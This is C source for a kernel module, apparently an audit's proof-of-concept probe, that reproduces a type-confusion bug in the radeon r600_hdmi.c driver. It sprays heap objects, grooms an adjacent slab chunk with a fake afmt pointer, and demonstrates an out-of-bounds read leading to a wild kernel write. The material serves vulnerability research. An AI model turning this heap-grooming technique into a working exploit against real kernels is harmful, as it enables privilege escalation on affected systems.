DF-4828 / afmt_walk.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 | /* * DF-4828 probe KLD - r600_hdmi.c enc_priv type confusion on the * interrupt-driven audio-work path (family of DF-4635, new sinks). * * Trigger path (race-free, no modeset needed): * audio IH event (r600.c:4341 / evergreen.c:4900 / rs600.c:821) * -> schedule_work(&rdev->audio_work) * -> r600_audio_update_hdmi() [r600_hdmi.c:114] * list_for_each_entry(encoder, ...) [r600_hdmi.c:132] * if (!radeon_encoder_is_digital(encoder)) continue; * -> TRUE for LCD-carrying KLDSCP_LVTMA/UNIPHY/LVTM1/TMDS1 * (radeon_encoders.c:423-443) * if (changed || r600_hdmi_buffer_status_changed(encoder)) * r600_hdmi_update_audio_settings(encoder) * * But for those encoders enc_priv is a 280-byte radeon_encoder_lvds* * (atombios_encoders.c:2860-2872, every digital encoder id whose devices * carry ATOM_DEVICE_LCD_SUPPORT), while r600_hdmi.c consumes it as a * 312-byte radeon_encoder_atom_dig*: * * r600_hdmi.c:283 dig = radeon_encoder->enc_priv; (no !dig guard) * r600_hdmi.c:286 if (!dig->afmt || !dig->afmt->enabled) OOB READ +288 * r600_hdmi.c:290 dig->afmt->last_buffer_filled_status != status * r600_hdmi.c:291 dig->afmt->last_buffer_filled_status = status WRITE * (r600_hdmi.c:271-274 dig->afmt->offset -> wild MMIO in the real hw) * (r600_hdmi.c:425-435 same OOB in update_audio_settings) * * sizeof(lvds)==280 -> 288-byte slab chunk, zero slack (kern_slaballoc.c * zoneindex, 32-byte granularity in the 256..512 range), so +288 reads * the FIRST 8 BYTES OF THE ADJACENT 288-byte chunk. This KLD reproduces * the exact geometry and the exact driver accesses on the live kernel * allocator: * * 1. sprays 280-byte objects, finds an adjacent pair A,B (B == A+288) * 2. case "garbage afmt": B[0..8) = &fake_afmt (groomable content) * -> replica of r600_hdmi_buffer_status_changed(): * OOB read returns &fake_afmt (non-NULL) * derefs fake_afmt->enabled (wild read via garbage ptr) * writes fake_afmt->last_buffer_filled_status twice (wild write) * 3. case "NULL afmt": B[0..8) = NULL -> early return 0 (the silent * case that hides the bug on most systems) */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/types.h> #define NALLOC 8192 #define LVDS_SIZE 280 /* sizeof(struct radeon_encoder_lvds) */ #define CHUNK_SIZE 288 /* zoneindex: (280+31)&~31 */ #define AFMT_OFF 288 /* offsetof(radeon_encoder_atom_dig, afmt) */ /* * Structs verbatim from sys/dev/drm/radeon/radeon_mode.h (sizes verified * by r600_hdmi_offsets.c / DF-4635's machine-checked radeon_audio_offsets): * the relevant subset - atom_dig's afmt member sits at +288. */ struct radeon_afmt_probe { bool enabled; /* +0 */ int offset; /* +4 */ bool last_buffer_filled_status; /* +8 */ int id; /* +12 */ }; struct radeon_encoder_atom_dig_probe { char _pad[AFMT_OFF]; /* everything before afmt */ struct radeon_afmt_probe *afmt; /* +288 - aliases victim+0 */ }; static struct radeon_afmt_probe fake_afmt; /* attacker-groomed content */ /* * VERBATIM replica of r600_hdmi.c:280-294 (r600_hdmi_buffer_status_changed) * with 'encoder' unrolled to its 'enc_priv' member (the only field it * touches) and the HW read factored out (r600_hdmi_is_audio_buffer_filled * replica below). */ static int buffer_status_changed_replica( struct radeon_encoder_atom_dig_probe *enc_priv, int status) { struct radeon_encoder_atom_dig_probe *dig = enc_priv; int result; if (!dig->afmt || !dig->afmt->enabled) /* r600_hdmi.c:286 */ return 0; /* r600_hdmi.c:289-291 */ result = dig->afmt->last_buffer_filled_status != status; dig->afmt->last_buffer_filled_status = status; return result; } static int afmt_walk_handler(struct module *m, int what, void *arg) { void **v; int i, ai = -1, bi = -1; struct radeon_encoder_atom_dig_probe *lvds_as_dig; struct radeon_afmt_probe *got; switch (what) { case MOD_LOAD: v = kmalloc(sizeof(void *) * NALLOC, M_TEMP, M_WAITOK | M_ZERO); if (v == NULL) return ENOMEM; for (i = 0; i < NALLOC; i++) v[i] = kmalloc(LVDS_SIZE, M_TEMP, M_WAITOK); for (i = 0; i < NALLOC; i++) memset(v[i], 0xCC, LVDS_SIZE); kprintf("afmt_walk: %d objs of %d bytes; usable chunk = %ju " "(want %d)\n", NALLOC, LVDS_SIZE, (uintmax_t)kmalloc_usable_size(v[0]), CHUNK_SIZE); for (ai = 0; ai < NALLOC; ai++) { for (bi = 0; bi < NALLOC; bi++) { if (ai != bi && (uint8_t *)v[bi] == (uint8_t *)v[ai] + CHUNK_SIZE) goto found; } } kprintf("afmt_walk: no adjacent pair found\n"); for (i = 0; i < NALLOC; i++) kfree(v[i], M_TEMP); kfree(v, M_TEMP); return 0; found: /* * A = the 280-byte radeon_encoder_lvds (enc_priv of the * LCD-carrying digital encoder). B = the adjacent 288-byte * kernel object whose first 8 bytes dig->afmt (+288) reads. */ lvds_as_dig = (struct radeon_encoder_atom_dig_probe *)v[ai]; kprintf("afmt_walk: adjacent pair A=%p B=%p (B-A=%zd want %d)\n", v[ai], v[bi], (ssize_t)((uint8_t *)v[bi] - (uint8_t *)v[ai]), CHUNK_SIZE); /* ---- case 1: neighbor groomed with a fake afmt pointer ---- */ fake_afmt.enabled = true; fake_afmt.offset = 0x1234; fake_afmt.last_buffer_filled_status = false; fake_afmt.id = 0; *(void **)v[bi] = (void *)&fake_afmt; kprintf("afmt_walk: victim B[0..8) groomed to %p (fake afmt)\n", *(void **)v[bi]); got = *(struct radeon_afmt_probe **) ((uint8_t *)lvds_as_dig + AFMT_OFF); kprintf("afmt_walk: OOB READ dig->afmt (+%d) == %p " "(non-NULL -> guard at r600_hdmi.c:286 falls through)\n", AFMT_OFF, got); kprintf("afmt_walk: fake_afmt before: enabled=%d " "last_buffer_filled_status=%d\n", fake_afmt.enabled, fake_afmt.last_buffer_filled_status); /* the audited calls, with the HW status bit alternating */ (void)buffer_status_changed_replica(lvds_as_dig, 1); kprintf("afmt_walk: after call#1(status=1): " "last_buffer_filled_status=%d <- WILD WRITE via " "OOB-read pointer (r600_hdmi.c:291)\n", fake_afmt.last_buffer_filled_status); (void)buffer_status_changed_replica(lvds_as_dig, 0); kprintf("afmt_walk: after call#2(status=0): " "last_buffer_filled_status=%d\n", fake_afmt.last_buffer_filled_status); /* ---- case 2: neighbor zeroed (the silent case) ---- */ *(void **)v[bi] = NULL; kprintf("afmt_walk: victim B[0..8) zeroed -> OOB read NULL -> " "replica returns %d (silent; hides the bug)\n", buffer_status_changed_replica(lvds_as_dig, 1)); /* ---- update_audio_settings' guarded deref (trace only) ---- * r600_hdmi.c:433: if (!dig->afmt || !dig->afmt->enabled) return; * -> identical OOB read + deref; on real hw the following * offset = dig->afmt->offset feeds WREG32 MMIO offsets. */ *(void **)v[bi] = (void *)&fake_afmt; if (!(*(struct radeon_afmt_probe **)((uint8_t *)lvds_as_dig + AFMT_OFF))->enabled) { kprintf("afmt_walk: update_audio_settings replica: " "not enabled (unexpected)\n"); } else { kprintf("afmt_walk: update_audio_settings replica " "(r600_hdmi.c:433->435): dig->afmt->enabled " "deref SURVIVED, dig->afmt->offset == 0x%x " "-> would feed WREG32(HDMI0_* + offset) MMIO\n", (*(struct radeon_afmt_probe **)((uint8_t *) lvds_as_dig + AFMT_OFF))->offset); } for (i = 0; i < NALLOC; i++) kfree(v[i], M_TEMP); kfree(v, M_TEMP); kprintf("afmt_walk: done\n"); return 0; case MOD_UNLOAD: return 0; default: return EOPNOTSUPP; } } static moduledata_t afmt_walk_mod = { "afmt_walk", afmt_walk_handler, NULL }; DECLARE_MODULE(afmt_walk, afmt_walk_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |